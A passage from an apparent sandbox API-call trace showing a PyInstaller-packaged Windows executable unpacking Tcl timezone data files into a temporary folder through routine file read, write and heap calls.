dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.652] GetFileType (hFile=0x10c) returned 0x1 [0043.652] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.652] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.652] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.652] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.653] CloseHandle (hObject=0x10c) returned 1 [0043.653] GetLastError () returned 0x0 [0043.653] SetLastError (dwErrCode=0x0) [0043.653] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.653] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.653] GetFileType (hFile=0x10c) returned 0x1 [0043.653] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.653] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.653] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.653] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.654] CloseHandle (hObject=0x10c) returned 1 [0043.654] GetLastError () returned 0x0 [0043.654] SetLastError (dwErrCode=0x0) [0043.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.654] GetFileType (hFile=0x10c) returned 0x1 [0043.654] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.654] CloseHandle (hObject=0x10c) returned 1 [0043.654] GetLastError () returned 0x0 [0043.654] SetLastError (dwErrCode=0x0) [0043.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern") returned 67 [0043.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\eastern"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.654] GetLastError () returned 0x2 [0043.654] SetLastError (dwErrCode=0x2) [0043.654] GetLastError () returned 0x2 [0043.654] SetLastError (dwErrCode=0x2) [0043.655] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern", lpFilePart=0x0) returned 0x42 [0043.655] GetLastError () returned 0x2 [0043.655] SetLastError (dwErrCode=0x2) [0043.655] GetLastError () returned 0x2 [0043.655] SetLastError (dwErrCode=0x2) [0043.655] GetLastError () returned 0x2 [0043.655] SetLastError (dwErrCode=0x2) [0043.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern") returned 67 [0043.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Eastern" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\eastern"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.656] GetFileType (hFile=0x10c) returned 0x1 [0043.656] htonl (hostlong=0xb6000000) returned 0xb6 [0043.656] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.656] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0043.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.658] CloseHandle (hObject=0x10c) returned 1 [0043.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560ef0 | out: hHeap=0x530000) returned 1 [0043.658] htonl (hostlong=0x30000000) returned 0x30 [0043.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.658] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.658] GetFileType (hFile=0x10c) returned 0x1 [0043.658] htonl (hostlong=0x7d365d00) returned 0x5d367d [0043.658] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e67d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.658] htonl (hostlong=0x8b000000) returned 0x8b [0043.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.658] htonl (hostlong=0x8b000000) returned 0x8b [0043.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.658] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.658] htonl (hostlong=0xb5000000) returned 0xb5 [0043.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x5609b0 [0043.658] htonl (hostlong=0x8b000000) returned 0x8b [0043.658] htonl (hostlong=0xb5000000) returned 0xb5 [0043.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.659] CloseHandle (hObject=0x10c) returned 1 [0043.659] GetLastError () returned 0x0 [0043.659] SetLastError (dwErrCode=0x0) [0043.659] GetLastError () returned 0x0 [0043.659] SetLastError (dwErrCode=0x0) [0043.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.659] GetFileType (hFile=0x10c) returned 0x1 [0043.659] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.659] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.659] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.659] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.659] CloseHandle (hObject=0x10c) returned 1 [0043.659] GetLastError () returned 0x0 [0043.659] SetLastError (dwErrCode=0x0) [0043.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.659] GetFileType (hFile=0x10c) returned 0x1 [0043.660] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.660] CloseHandle (hObject=0x10c) returned 1 [0043.660] GetLastError () returned 0x0 [0043.660] SetLastError (dwErrCode=0x0) [0043.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US") returned 59 [0043.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.660] GetFileType (hFile=0x10c) returned 0x1 [0043.660] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.660] CloseHandle (hObject=0x10c) returned 1 [0043.661] GetLastError () returned 0x0 [0043.661] SetLastError (dwErrCode=0x0) [0043.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii") returned 66 [0043.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\hawaii"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.661] GetLastError () returned 0x2 [0043.661] SetLastError (dwErrCode=0x2) [0043.661] GetLastError () returned 0x2 [0043.661] SetLastError (dwErrCode=0x2) [0043.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii", lpFilePart=0x0) returned 0x41 [0043.661] GetLastError () returned 0x2 [0043.661] SetLastError (dwErrCode=0x2) [0043.661] GetLastError () returned 0x2 [0043.661] SetLastError (dwErrCode=0x2) [0043.661] GetLastError () returned 0x2 [0043.661] SetLastError (dwErrCode=0x2) [0043.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii") returned 66 [0043.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\US\\Hawaii" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\us\\hawaii"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.701] GetFileType (hFile=0x10c) returned 0x1 [0043.701] htonl (hostlong=0xb5000000) returned 0xb5 [0043.701] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.701] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0043.702] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.702] CloseHandle (hObject=0x10c) returned 1 [0043.702] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5609b0 | out: hHeap=0x530000) returned 1 [0043.702] htonl (hostlong=0x30000000) returned 0x30 [0043.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.702] GetFileType (hFile=0x10c) returned 0x1 [0043.703] htonl (hostlong=0x8375d00) returned 0x5d3708 [0043.703] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61e708, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.703] htonl (hostlong=0x8f000000) returned 0x8f [0043.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x55cfe0 [0043.703] htonl (hostlong=0x8f000000) returned 0x8f [0043.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.703] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.703] htonl (hostlong=0xc9000000) returned 0xc9 [0043.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9) returned 0x546bc8 [0043.703] htonl (hostlong=0x8f000000) returned 0x8f [0043.703] htonl (hostlong=0xc9000000) returned 0xc9 [0043.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.703] CloseHandle (hObject=0x10c) returned 1 [0043.703] GetLastError () returned 0x0 [0043.703] SetLastError (dwErrCode=0x0) [0043.703] GetLastError () returned 0x0 [0043.703] SetLastError (dwErrCode=0x0) [0043.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.703] GetFileType (hFile=0x10c) returned 0x1 [0043.703] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.703] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.703] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.703] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, 